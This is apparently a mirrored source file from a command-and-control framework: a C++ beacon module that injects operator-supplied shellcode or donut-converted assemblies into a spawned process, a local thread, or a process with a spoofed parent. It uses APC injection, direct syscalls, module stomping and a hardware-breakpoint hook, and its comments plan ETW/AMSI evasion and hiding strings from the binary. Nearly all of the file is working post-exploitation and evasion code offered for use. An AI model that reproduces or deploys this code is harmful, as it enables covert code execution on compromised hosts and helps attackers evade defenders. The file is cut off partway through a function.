mirror of
https://github.com/maxDcb/C2Core
synced 2026-06-08 15:48:01 +00:00
952 lines
27 KiB
C++
952 lines
27 KiB
C++
#include "AssemblyExec.hpp"
|
|
|
|
#include <cstring>
|
|
#include <sstream>
|
|
#include <chrono>
|
|
#include <thread>
|
|
|
|
#include "Common.hpp"
|
|
#include "Tools.hpp"
|
|
|
|
#ifdef __linux__
|
|
#include <sys/mman.h>
|
|
#include <sys/ptrace.h>
|
|
#include <sys/wait.h>
|
|
#include <sys/user.h>
|
|
#include <sstream>
|
|
#include <unistd.h>
|
|
#include <fcntl.h>
|
|
#elif _WIN32
|
|
#include <io.h>
|
|
#include <fcntl.h>
|
|
|
|
#include <peb.hpp>
|
|
#include <hwbp.hpp>
|
|
|
|
#include <syscall.hpp>
|
|
|
|
#endif
|
|
|
|
#define BUFSIZE 512
|
|
|
|
// Max duration of the shellcode execution befor it's killed
|
|
const int maxDurationShellCode=120;
|
|
|
|
using namespace std;
|
|
|
|
// Compute hash of moduleName at compile time, so the moduleName string don't show in the binary
|
|
constexpr std::string_view moduleName = "assemblyExec";
|
|
constexpr unsigned long long moduleHash = djb2(moduleName);
|
|
|
|
|
|
#ifdef _WIN32
|
|
|
|
__declspec(dllexport) AssemblyExec* A_AssemblyExecConstructor()
|
|
{
|
|
return new AssemblyExec();
|
|
}
|
|
|
|
#else
|
|
|
|
__attribute__((visibility("default"))) AssemblyExec* AssemblyExecConstructor()
|
|
{
|
|
return new AssemblyExec();
|
|
}
|
|
|
|
#endif
|
|
|
|
AssemblyExec::AssemblyExec()
|
|
#ifdef BUILD_TEAMSERVER
|
|
: ModuleCmd(std::string(moduleName), moduleHash)
|
|
#else
|
|
: ModuleCmd("", moduleHash)
|
|
#endif
|
|
{
|
|
m_processToSpawn="";
|
|
m_spoofedParent="";
|
|
m_useSyscall=false;
|
|
m_isModeProcess = true;
|
|
m_isSpoofParent = false;
|
|
}
|
|
|
|
AssemblyExec::~AssemblyExec()
|
|
{
|
|
}
|
|
|
|
|
|
// OPSEC remove getHelp and getInfo strings from the beacon compilation
|
|
std::string AssemblyExec::getInfo()
|
|
{
|
|
std::string info;
|
|
#ifdef BUILD_TEAMSERVER
|
|
info += "assemblyExec:\n";
|
|
info += "Execute shellcode in a process (notepad.exe), wait for the end of execution or a timeout (120 sec). Retrieve the output.\n";
|
|
info += "Use -r to use a shellcode file.\n";
|
|
info += "If -e or -d are given, use donut to create the shellcode.\n";
|
|
info += "exemple:\n";
|
|
info += "- assemblyExec thread/process/processWithSpoofedParent\n";
|
|
info += "- assemblyExec -r ./shellcode.bin\n";
|
|
info += "- assemblyExec -e ./program.exe arg1 arg2...\n";
|
|
info += "- assemblyExec -e ./Seatbelt.exe -group=system\n";
|
|
info += "- assemblyExec -d ./test.dll method arg1 arg2...\n";
|
|
#endif
|
|
return info;
|
|
}
|
|
|
|
|
|
#define modeThread "0"
|
|
#define modeProcess "1"
|
|
#define modeprocessWithSpoofedParent "2"
|
|
|
|
|
|
int AssemblyExec::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
|
|
{
|
|
#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS)
|
|
if(splitedCmd.size() == 2)
|
|
{
|
|
if(splitedCmd[1]=="thread")
|
|
{
|
|
m_isModeProcess = false;
|
|
c2Message.set_returnvalue("thread mode.\n");
|
|
return -1;
|
|
}
|
|
else if(splitedCmd[1]=="process")
|
|
{
|
|
m_isModeProcess = true;
|
|
m_isSpoofParent = false;
|
|
c2Message.set_returnvalue("process mode.\n");
|
|
return -1;
|
|
}
|
|
else if(splitedCmd[1]=="processWithSpoofedParent")
|
|
{
|
|
m_isModeProcess = true;
|
|
m_isSpoofParent = true;
|
|
c2Message.set_returnvalue("process mode with parent spoofing.\n");
|
|
return -1;
|
|
}
|
|
else
|
|
{
|
|
c2Message.set_returnvalue(getInfo());
|
|
return -1;
|
|
}
|
|
}
|
|
else if (splitedCmd.size() >= 3)
|
|
{
|
|
bool donut=false;
|
|
std::string inputFile=splitedCmd[2];
|
|
std::string method;
|
|
std::string args;
|
|
int pid=-1;
|
|
|
|
if(splitedCmd[1]=="-e")
|
|
{
|
|
donut=true;
|
|
for (int idx = 3; idx < splitedCmd.size(); idx++)
|
|
{
|
|
if(!args.empty())
|
|
args+=" ";
|
|
args+=splitedCmd[idx];
|
|
}
|
|
}
|
|
else if(splitedCmd[1]=="-d")
|
|
{
|
|
donut=true;
|
|
if(splitedCmd.size() > 3)
|
|
method=splitedCmd[3];
|
|
else
|
|
{
|
|
std::string msg = "Method is mandatory for DLL.\n";
|
|
c2Message.set_returnvalue(msg);
|
|
return -1;
|
|
}
|
|
for (int idx = 4; idx < splitedCmd.size(); idx++)
|
|
{
|
|
if(!args.empty())
|
|
args+=" ";
|
|
args+=splitedCmd[idx];
|
|
}
|
|
}
|
|
else if(splitedCmd[1]=="-r")
|
|
{
|
|
}
|
|
else
|
|
{
|
|
std::string msg = "One of the tags, -r, -e or -d must be provided.\n";
|
|
c2Message.set_returnvalue(msg);
|
|
return -1;
|
|
}
|
|
|
|
if(inputFile.empty())
|
|
{
|
|
std::string msg = "A file name have to be provided.\n";
|
|
c2Message.set_returnvalue(msg);
|
|
return -1;
|
|
}
|
|
|
|
std::ifstream myfile;
|
|
myfile.open(inputFile, std::ios::binary);
|
|
|
|
if(!myfile)
|
|
{
|
|
std::string newInputFile=m_toolsDirectoryPath;
|
|
newInputFile+=inputFile;
|
|
myfile.open(newInputFile, std::ios::binary);
|
|
inputFile=newInputFile;
|
|
}
|
|
|
|
if(!myfile)
|
|
{
|
|
std::string msg = "Couldn't open file.\n";
|
|
c2Message.set_returnvalue(msg);
|
|
return -1;
|
|
}
|
|
myfile.close();
|
|
|
|
std::string payload;
|
|
if(donut)
|
|
{
|
|
// if we create a process we need to exite process with donut shellcode
|
|
// Otherwise we exite the thread
|
|
creatShellCodeDonut(inputFile, method, args, payload, true);
|
|
}
|
|
else
|
|
{
|
|
std::ifstream input(inputFile, std::ios::binary);
|
|
std::string payload_(std::istreambuf_iterator<char>(input), {});
|
|
payload=payload_;
|
|
}
|
|
|
|
if(payload.size()==0)
|
|
{
|
|
std::string msg = "Something went wrong. Payload empty.\n";
|
|
c2Message.set_returnvalue(msg);
|
|
return -1;
|
|
}
|
|
|
|
std::string cmd;
|
|
for (int idx = 1; idx < splitedCmd.size(); idx++)
|
|
{
|
|
cmd+=splitedCmd[idx];
|
|
cmd+=" ";
|
|
}
|
|
|
|
if(m_isModeProcess == false)
|
|
c2Message.set_args(modeThread);
|
|
else if(m_isModeProcess == true && m_isSpoofParent == false)
|
|
c2Message.set_args(modeProcess);
|
|
else if(m_isModeProcess == true && m_isSpoofParent == true)
|
|
c2Message.set_args(modeprocessWithSpoofedParent);
|
|
|
|
c2Message.set_pid(pid);
|
|
c2Message.set_cmd(cmd);
|
|
c2Message.set_instruction(splitedCmd[0]);
|
|
c2Message.set_inputfile(inputFile);
|
|
c2Message.set_data(payload.data(), payload.size());
|
|
}
|
|
else
|
|
{
|
|
c2Message.set_returnvalue(getInfo());
|
|
return -1;
|
|
}
|
|
#endif
|
|
return 0;
|
|
}
|
|
|
|
|
|
int AssemblyExec::initConfig(const nlohmann::json &config)
|
|
{
|
|
for (auto& it : config.items())
|
|
{
|
|
if(it.key()=="process")
|
|
m_processToSpawn = it.value();
|
|
else if(it.key()=="syscall")
|
|
m_useSyscall = true;
|
|
else if(it.key()=="isModeProcess")
|
|
m_isModeProcess = (bool)it.value();
|
|
else if(it.key()=="spoofedParent")
|
|
{
|
|
m_isSpoofParent = true;
|
|
m_spoofedParent = it.value();
|
|
}
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
int AssemblyExec::process(C2Message &c2Message, C2Message &c2RetMessage)
|
|
{
|
|
std::string mode = c2Message.args();
|
|
if(!mode.empty())
|
|
{
|
|
if(mode==modeThread)
|
|
m_isModeProcess = false;
|
|
else if(mode==modeProcess)
|
|
{
|
|
m_isModeProcess = true;
|
|
m_isSpoofParent = false;
|
|
}
|
|
else if(mode==modeprocessWithSpoofedParent)
|
|
{
|
|
m_isModeProcess = true;
|
|
m_isSpoofParent = true;
|
|
}
|
|
}
|
|
|
|
const std::string payload = c2Message.data();
|
|
|
|
std::string result;
|
|
|
|
#ifdef __linux__
|
|
|
|
whateverLinux(payload, result);
|
|
|
|
#elif _WIN32
|
|
|
|
std::string processToSpawn="notepad.exe";
|
|
std::string spoofedParent="explorer.exe";
|
|
if(!m_processToSpawn.empty())
|
|
processToSpawn=m_processToSpawn;
|
|
if(!m_spoofedParent.empty())
|
|
spoofedParent=m_spoofedParent;
|
|
|
|
if(m_isModeProcess && !m_isSpoofParent)
|
|
createNewProcess(payload, processToSpawn, result);
|
|
else if(m_isModeProcess && m_isSpoofParent)
|
|
createNewProcessWithSpoofedParent(payload, processToSpawn, spoofedParent, result);
|
|
else
|
|
createNewThread(payload, result);
|
|
|
|
#endif
|
|
|
|
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
|
c2RetMessage.set_cmd(c2Message.cmd());
|
|
c2RetMessage.set_returnvalue(result);
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
#ifdef __linux__
|
|
|
|
|
|
int AssemblyExec::whateverLinux(const std::string& payload, std::string& result)
|
|
{
|
|
if(1)
|
|
{
|
|
pid_t pid = 0;
|
|
int pipefd[2];
|
|
|
|
int ret = pipe(pipefd); //create a pipe
|
|
pid = fork(); //spawn a child process
|
|
if (pid == 0)
|
|
{
|
|
// Child. redirect std output to pipe, launch process
|
|
close(pipefd[0]);
|
|
dup2(pipefd[1], STDOUT_FILENO);
|
|
|
|
void *page = mmap(NULL, payload.size(), PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
|
|
memcpy(page, payload.data(), payload.size());
|
|
mprotect(page, payload.size(), PROT_READ|PROT_EXEC);
|
|
((void(*)())page)();
|
|
exit(0);
|
|
}
|
|
|
|
pid_t child_process_pid = pid;
|
|
int child_process_output_fd = pipefd[0];
|
|
|
|
//Only parent gets here. make tail nonblocking.
|
|
close(pipefd[1]);
|
|
fcntl(pipefd[0], F_SETFL, fcntl(pipefd[0], F_GETFL) | O_NONBLOCK);
|
|
|
|
std::chrono::steady_clock::time_point begin = std::chrono::steady_clock::now();
|
|
while(1)
|
|
{
|
|
int status;
|
|
pid_t endID=waitpid(child_process_pid, &status, WNOHANG);
|
|
if (endID == -1)
|
|
break;
|
|
else if (endID == 0)
|
|
{
|
|
std::chrono::steady_clock::time_point now = std::chrono::steady_clock::now();
|
|
auto elapse = std::chrono::duration_cast<std::chrono::seconds>(now - begin).count();
|
|
if(elapse>=maxDurationShellCode)
|
|
{
|
|
kill(pid, SIGKILL);
|
|
break;
|
|
}
|
|
else
|
|
sleep(1);
|
|
}
|
|
}
|
|
|
|
char buf[1000];
|
|
int nbBytes=1;
|
|
while(nbBytes)
|
|
{
|
|
nbBytes = read(child_process_output_fd, buf, 1000);
|
|
if(nbBytes)
|
|
result+=buf;
|
|
}
|
|
}
|
|
|
|
if(0)
|
|
{
|
|
// inject in an other thread -> work but i cannot get the output
|
|
streambuf* oldCoutStreamBuf = cout.rdbuf();
|
|
ostringstream strCout;
|
|
cout.rdbuf( strCout.rdbuf() );
|
|
|
|
std::thread t1(execShellCode, payload);
|
|
if(t1.joinable())
|
|
t1.join();
|
|
|
|
cout.rdbuf( oldCoutStreamBuf );
|
|
cout << strCout.str();
|
|
}
|
|
|
|
if(0)
|
|
{
|
|
// inject here -> work but terminate the process
|
|
void *page = mmap(NULL, payload.size(), PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
|
|
memcpy(page, payload.data(), payload.size());
|
|
mprotect(page, payload.size(), PROT_READ|PROT_EXEC);
|
|
((void(*)())page)();
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
#elif _WIN32
|
|
|
|
|
|
LONG WINAPI handlerRtlExitUserProcess(EXCEPTION_POINTERS * ExceptionInfo)
|
|
{
|
|
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP)
|
|
{
|
|
BYTE* baseAddress = (BYTE*)xGetProcAddress(xGetLibAddress((PCHAR)"ntdll.dll", TRUE, NULL), (PCHAR)"RtlExitUserProcess", 0);
|
|
if (ExceptionInfo->ContextRecord->Rip == (DWORD64) baseAddress)
|
|
{
|
|
// continue the execution
|
|
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // set RF (Resume Flag) to continue execution
|
|
//ExceptionInfo->ContextRecord->Rip++; // or skip the breakpoint via instruction pointer
|
|
ExceptionInfo->ContextRecord->Rip = (DWORD64)GetProcAddress(GetModuleHandle("Kernel32.dll"), "ExitThread");
|
|
}
|
|
return EXCEPTION_CONTINUE_EXECUTION;
|
|
}
|
|
return EXCEPTION_CONTINUE_SEARCH;
|
|
}
|
|
|
|
|
|
int SetHWBP(HANDLE thrd, DWORD64 addr, BOOL setBP)
|
|
{
|
|
CONTEXT ctx = { 0 };
|
|
ctx.ContextFlags = CONTEXT_ALL;
|
|
|
|
GetThreadContext(thrd, &ctx);
|
|
|
|
if (setBP == TRUE) {
|
|
ctx.Dr0 = addr;
|
|
ctx.Dr7 |= (1 << 0); // Local DR0 breakpoint
|
|
ctx.Dr7 &= ~(1 << 16); // break on execution
|
|
ctx.Dr7 &= ~(1 << 17);
|
|
|
|
}
|
|
else if (setBP == FALSE) {
|
|
ctx.Dr0 = NULL;
|
|
ctx.Dr7 &= ~(1 << 0);
|
|
}
|
|
|
|
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
|
|
SetThreadContext(thrd, &ctx);
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
// Create new thread to run the shellcode, the memory use to inject the payload is taken from a DLL (Module Stomping)
|
|
// loaded specialy for this purpose. It avoid to use VirtualAlloc.
|
|
int AssemblyExec::createNewThread(const std::string& payload, std::string& result)
|
|
{
|
|
StdCapture stdCapture;
|
|
stdCapture.BeginCapture();
|
|
|
|
char * ptr;
|
|
|
|
// Module stomping
|
|
bool isModuleStomping = false;
|
|
if(isModuleStomping)
|
|
{
|
|
unsigned char sLib[] = "HologramWorld.dll";
|
|
HMODULE hVictimLib = LoadLibrary((LPCSTR) sLib);
|
|
ptr = (char *) hVictimLib + 2*4096 + 12;
|
|
|
|
DWORD oldprotect = 0;
|
|
VirtualProtect((char *) ptr, payload.size() + 4096, PAGE_READWRITE, &oldprotect);
|
|
RtlMoveMemory(ptr, (void *)payload.data(), payload.size());
|
|
VirtualProtect((char *) ptr, payload.size() + 4096, PAGE_EXECUTE_READ, &oldprotect);
|
|
}
|
|
else
|
|
{
|
|
DWORD oldprotect = 0;
|
|
ptr = (char *) VirtualAlloc(NULL, payload.size()+4096, MEM_COMMIT, PAGE_READWRITE);
|
|
RtlMoveMemory(ptr, (void *)payload.data(), payload.size());
|
|
VirtualProtect((char *) ptr, payload.size() + 4096, PAGE_EXECUTE_READ, &oldprotect);
|
|
}
|
|
|
|
HANDLE thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) ptr, NULL, CREATE_SUSPENDED, 0);
|
|
|
|
// AddVectoredExceptionHandler(0, &handlerRtlExitUserProcess);
|
|
// BYTE* baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlExitUserProcess");
|
|
// DWORD64 dword64Address = reinterpret_cast<uintptr_t>(baseAddress);
|
|
// SetHWBP(thread, (DWORD64) dword64Address, TRUE);
|
|
|
|
BYTE* baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlExitUserProcess");
|
|
HANDLE phHwBpHandler;
|
|
int indexHWBP;
|
|
set_hwbp(thread, baseAddress, handlerRtlExitUserProcess, indexHWBP, &phHwBpHandler);
|
|
|
|
if (thread != NULL)
|
|
ResumeThread(thread);
|
|
|
|
WaitForSingleObject(thread, maxDurationShellCode*1000);
|
|
|
|
stdCapture.EndCapture();
|
|
result+=stdCapture.GetCapture();
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
// OPSEC function to switch to syscall
|
|
// OPSEC patch etw et amsi
|
|
// difficulte to do with the fact that we create the thread suspended and so the lib are not loaded yet.
|
|
// OPSEC function to choose the process to inject to
|
|
|
|
|
|
DWORD GetPidByName(const char * pName)
|
|
{
|
|
PROCESSENTRY32 pEntry;
|
|
HANDLE snapshot;
|
|
|
|
pEntry.dwSize = sizeof(PROCESSENTRY32);
|
|
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
|
|
|
if (Process32First(snapshot, &pEntry) == TRUE)
|
|
{
|
|
while (Process32Next(snapshot, &pEntry) == TRUE)
|
|
{
|
|
if (_stricmp(pEntry.szExeFile, pName) == 0)
|
|
{
|
|
return pEntry.th32ProcessID;
|
|
}
|
|
}
|
|
}
|
|
CloseHandle(snapshot);
|
|
return 0;
|
|
}
|
|
|
|
|
|
// Create a new process in suspended mode to run the shellcode.
|
|
int AssemblyExec::createNewProcessWithSpoofedParent(const std::string& payload, const std::string& processToSpawn, const std::string& spoofedParent, std::string& result)
|
|
{
|
|
// Init handles
|
|
HANDLE hChildStdOutRd = NULL;
|
|
HANDLE hChildStdOutWr = NULL;
|
|
HANDLE hChildStdErrRd = NULL;
|
|
HANDLE hChildStdErrWr = NULL;
|
|
HANDLE hParentStdOutWr = NULL;
|
|
HANDLE hParentStdErrWr = NULL;
|
|
|
|
// Set the bInheritHandle flag so pipe handles are inherited.
|
|
SECURITY_ATTRIBUTES sa;
|
|
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
|
|
sa.bInheritHandle = TRUE;
|
|
sa.lpSecurityDescriptor = NULL;
|
|
|
|
CreatePipe(&hChildStdErrRd, &hChildStdErrWr, &sa, 0);
|
|
SetHandleInformation(hChildStdErrRd, HANDLE_FLAG_INHERIT, 0);
|
|
|
|
// std::string pipeStdErr = "\\\\.\\pipe\\error";
|
|
// int bufferSize = 512;
|
|
// hChildStdErrRd = CreateNamedPipeA(pipeStdErr.c_str(), PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE, PIPE_UNLIMITED_INSTANCES, bufferSize, bufferSize, 0, &sa);
|
|
// hChildStdErrWr = CreateFileA(pipeStdErr.c_str(), GENERIC_READ | GENERIC_WRITE, 0, &sa, OPEN_EXISTING, 0, NULL);
|
|
|
|
// hChildStdErrWr = CreateFile("C:\\Users\\CyberVuln\\Desktop\\err.log", FILE_APPEND_DATA, FILE_SHARE_WRITE | FILE_SHARE_READ, &sa, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL );
|
|
|
|
CreatePipe(&hChildStdOutRd, &hChildStdOutWr, &sa, 0);
|
|
SetHandleInformation(hChildStdOutRd, HANDLE_FLAG_INHERIT, 0);
|
|
|
|
// std::string pipeStdOut = "\\\\.\\pipe\\output";
|
|
// hChildStdOutRd = CreateNamedPipeA(pipeStdOut.c_str(), PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE, PIPE_UNLIMITED_INSTANCES, bufferSize, bufferSize, 0, &sa);
|
|
// hChildStdOutWr = CreateFileA(pipeStdOut.c_str(), GENERIC_READ | GENERIC_WRITE, 0, &sa, OPEN_EXISTING, 0, NULL);
|
|
|
|
// Prepare the parent child spoofing
|
|
DWORD dwPid = 0;
|
|
dwPid = GetPidByName(spoofedParent.c_str());
|
|
if (dwPid == 0)
|
|
dwPid = GetCurrentProcessId();
|
|
|
|
HANDLE hParentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
|
|
if (!hParentProcess)
|
|
{
|
|
// result += "Error: Failed to open parent process." << GetLastError() << "\n";
|
|
return 0;
|
|
}
|
|
|
|
// Duplicate handles to the spoofed parent process
|
|
BOOL res = DuplicateHandle(GetCurrentProcess(), hChildStdOutWr, hParentProcess, &hParentStdOutWr, 0, TRUE, DUPLICATE_SAME_ACCESS);
|
|
res = DuplicateHandle(GetCurrentProcess(), hChildStdErrWr, hParentProcess, &hParentStdErrWr, 0, TRUE, DUPLICATE_SAME_ACCESS);
|
|
|
|
// Set up members of the STARTUPINFOEX structure to specifies the STDERR and STDOUT handles for redirection.
|
|
STARTUPINFOEX siStartInfo = {};
|
|
siStartInfo.StartupInfo.cb = sizeof(STARTUPINFOEX);
|
|
siStartInfo.StartupInfo.hStdError = hParentStdErrWr;
|
|
siStartInfo.StartupInfo.hStdOutput = hParentStdOutWr;
|
|
siStartInfo.StartupInfo.dwFlags |= STARTF_USESTDHANDLES;
|
|
|
|
// Set up attributeList to set up the parent process
|
|
SIZE_T attributeListSize = 0;
|
|
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeListSize);
|
|
|
|
PPROC_THREAD_ATTRIBUTE_LIST attributeList = (PPROC_THREAD_ATTRIBUTE_LIST )HeapAlloc(GetProcessHeap(), 0, attributeListSize);
|
|
if (!attributeList)
|
|
{
|
|
// result += "Error: Failed to allocate memory for attribute list." << GetLastError() << "\n";
|
|
|
|
CloseHandle(hChildStdErrWr);
|
|
CloseHandle(hChildStdOutWr);
|
|
CloseHandle(hChildStdErrRd);
|
|
CloseHandle(hChildStdOutRd);
|
|
DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
|
|
DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
|
|
CloseHandle(hParentProcess);
|
|
|
|
return 0;
|
|
}
|
|
|
|
if (!InitializeProcThreadAttributeList(attributeList, 1, 0, &attributeListSize))
|
|
{
|
|
// result += "Error: Failed to initialize attribute list." << GetLastError() << "\n";
|
|
|
|
HeapFree(GetProcessHeap(), 0, attributeList);
|
|
|
|
CloseHandle(hChildStdErrWr);
|
|
CloseHandle(hChildStdOutWr);
|
|
CloseHandle(hChildStdErrRd);
|
|
CloseHandle(hChildStdOutRd);
|
|
DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
|
|
DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
|
|
CloseHandle(hParentProcess);
|
|
|
|
return 0;
|
|
}
|
|
|
|
if (!UpdateProcThreadAttribute(attributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL))
|
|
{
|
|
// result += "Error: Failed to set parent process attribute." << GetLastError() << "\n";
|
|
|
|
DeleteProcThreadAttributeList(attributeList);
|
|
HeapFree(GetProcessHeap(), 0, attributeList);
|
|
|
|
CloseHandle(hChildStdErrWr);
|
|
CloseHandle(hChildStdOutWr);
|
|
CloseHandle(hChildStdErrRd);
|
|
CloseHandle(hChildStdOutRd);
|
|
DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
|
|
DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
|
|
CloseHandle(hParentProcess);
|
|
|
|
return 0;
|
|
}
|
|
|
|
siStartInfo.lpAttributeList = attributeList;
|
|
|
|
// Create the child process
|
|
PROCESS_INFORMATION piProcInfo;
|
|
ZeroMemory( &piProcInfo, sizeof(PROCESS_INFORMATION) );
|
|
bool bSuccess = CreateProcessA(NULL, const_cast<LPSTR>(processToSpawn.c_str()), NULL, NULL, TRUE, CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &siStartInfo.StartupInfo, &piProcInfo);
|
|
|
|
DeleteProcThreadAttributeList(attributeList);
|
|
HeapFree(GetProcessHeap(), 0, attributeList);
|
|
|
|
// If an error occurs, exit the application.
|
|
if ( ! bSuccess )
|
|
{
|
|
CloseHandle(hChildStdErrWr);
|
|
CloseHandle(hChildStdOutWr);
|
|
CloseHandle(hChildStdErrRd);
|
|
CloseHandle(hChildStdOutRd);
|
|
DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
|
|
DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
|
|
CloseHandle(hParentProcess);
|
|
|
|
// result += "Error: Process failed to start." << GetLastError() << "\n";
|
|
return -1;
|
|
}
|
|
|
|
PVOID remoteBuffer;
|
|
if(m_useSyscall)
|
|
{
|
|
// https://github.com/0xrob/XOR-Shellcode-QueueUserAPC-Syscall/blob/main/queueUserAPC-XOR/Source.cpp
|
|
SIZE_T sizeToAlloc = payload.size();
|
|
|
|
remoteBuffer=NULL;
|
|
Sw3NtAllocateVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
|
|
|
SIZE_T NumberOfBytesWritten;
|
|
Sw3NtWriteVirtualMemory_(piProcInfo.hProcess, remoteBuffer, (PVOID)payload.data(), payload.size(), &NumberOfBytesWritten);
|
|
|
|
ULONG oldAccess;
|
|
Sw3NtProtectVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, &sizeToAlloc, PAGE_EXECUTE_READ, &oldAccess);
|
|
|
|
Sw3NtQueueApcThread_(piProcInfo.hThread, (PIO_APC_ROUTINE)remoteBuffer, remoteBuffer, (PIO_STATUS_BLOCK)NULL, NULL);
|
|
Sw3NtResumeThread_(piProcInfo.hThread, (PULONG)NULL);
|
|
}
|
|
else
|
|
{
|
|
remoteBuffer = VirtualAllocEx(piProcInfo.hProcess, NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
|
|
|
|
WriteProcessMemory(piProcInfo.hProcess, remoteBuffer, payload.data(), payload.size(), NULL);
|
|
|
|
DWORD oldprotect = 0;
|
|
VirtualProtectEx(piProcInfo.hProcess, remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect);
|
|
|
|
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)remoteBuffer;
|
|
QueueUserAPC((PAPCFUNC)apcRoutine, piProcInfo.hThread, NULL);
|
|
ResumeThread(piProcInfo.hThread);
|
|
}
|
|
|
|
m_isProcessRuning=true;
|
|
m_processHandle = piProcInfo.hProcess;
|
|
std::thread thread([this] { killProcess(); });
|
|
|
|
DWORD dwRead;
|
|
CHAR chBuf[BUFSIZE];
|
|
bSuccess = FALSE;
|
|
std::string out = "";
|
|
std::string err = "";
|
|
for (;;)
|
|
{
|
|
DWORD bytesAvailableOut = 0;
|
|
if (PeekNamedPipe(hChildStdOutRd, NULL, 0, NULL, &bytesAvailableOut, NULL) && bytesAvailableOut > 0)
|
|
{
|
|
bSuccess=ReadFile( hChildStdOutRd, chBuf, BUFSIZE, &dwRead, NULL);
|
|
if( ! bSuccess || dwRead == 0 )
|
|
break;
|
|
|
|
std::string s(chBuf, dwRead);
|
|
out += s;
|
|
}
|
|
|
|
DWORD bytesAvailableErr = 0;
|
|
if (PeekNamedPipe(hChildStdErrRd, NULL, 0, NULL, &bytesAvailableErr, NULL) && bytesAvailableErr > 0)
|
|
{
|
|
bSuccess=ReadFile( hChildStdErrRd, chBuf, BUFSIZE, &dwRead, NULL);
|
|
if( ! bSuccess || dwRead == 0 )
|
|
break;
|
|
|
|
std::string s(chBuf, dwRead);
|
|
err += s;
|
|
}
|
|
|
|
DWORD exitCode;
|
|
if (GetExitCodeProcess(piProcInfo.hProcess, &exitCode) && exitCode != STILL_ACTIVE && bytesAvailableOut==0 && bytesAvailableErr==0)
|
|
break;
|
|
|
|
std::this_thread::sleep_for(std::chrono::milliseconds(5));
|
|
}
|
|
|
|
m_isProcessRuning = false;
|
|
|
|
CloseHandle(hChildStdErrWr);
|
|
CloseHandle(hChildStdOutWr);
|
|
DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
|
|
DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
|
|
CloseHandle(hChildStdErrRd);
|
|
CloseHandle(hChildStdOutRd);
|
|
|
|
CloseHandle(hParentProcess);
|
|
|
|
thread.join();
|
|
|
|
result += "Stdout:\n";
|
|
result += out;
|
|
result += "\n";
|
|
if(!err.empty())
|
|
{
|
|
result += "Stderr:\n";
|
|
result += err;
|
|
result += "\n";
|
|
}
|
|
|
|
CloseHandle(piProcInfo.hProcess);
|
|
CloseHandle(piProcInfo.hThread);
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
int AssemblyExec::createNewProcess(const std::string& payload, const std::string& processToSpawn, std::string& result)
|
|
{
|
|
HANDLE hChildStdOutRd = NULL;
|
|
HANDLE hChildStdOutWr = NULL;
|
|
HANDLE hChildStdErrRd = NULL;
|
|
HANDLE hChildStdErrWr = NULL;
|
|
|
|
SECURITY_ATTRIBUTES sa;
|
|
// Set the bInheritHandle flag so pipe handles are inherited.
|
|
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
|
|
sa.bInheritHandle = TRUE;
|
|
sa.lpSecurityDescriptor = NULL;
|
|
CreatePipe(&hChildStdErrRd, &hChildStdErrWr, &sa, 0);
|
|
SetHandleInformation(hChildStdErrRd, HANDLE_FLAG_INHERIT, 0);
|
|
CreatePipe(&hChildStdOutRd, &hChildStdOutWr, &sa, 0);
|
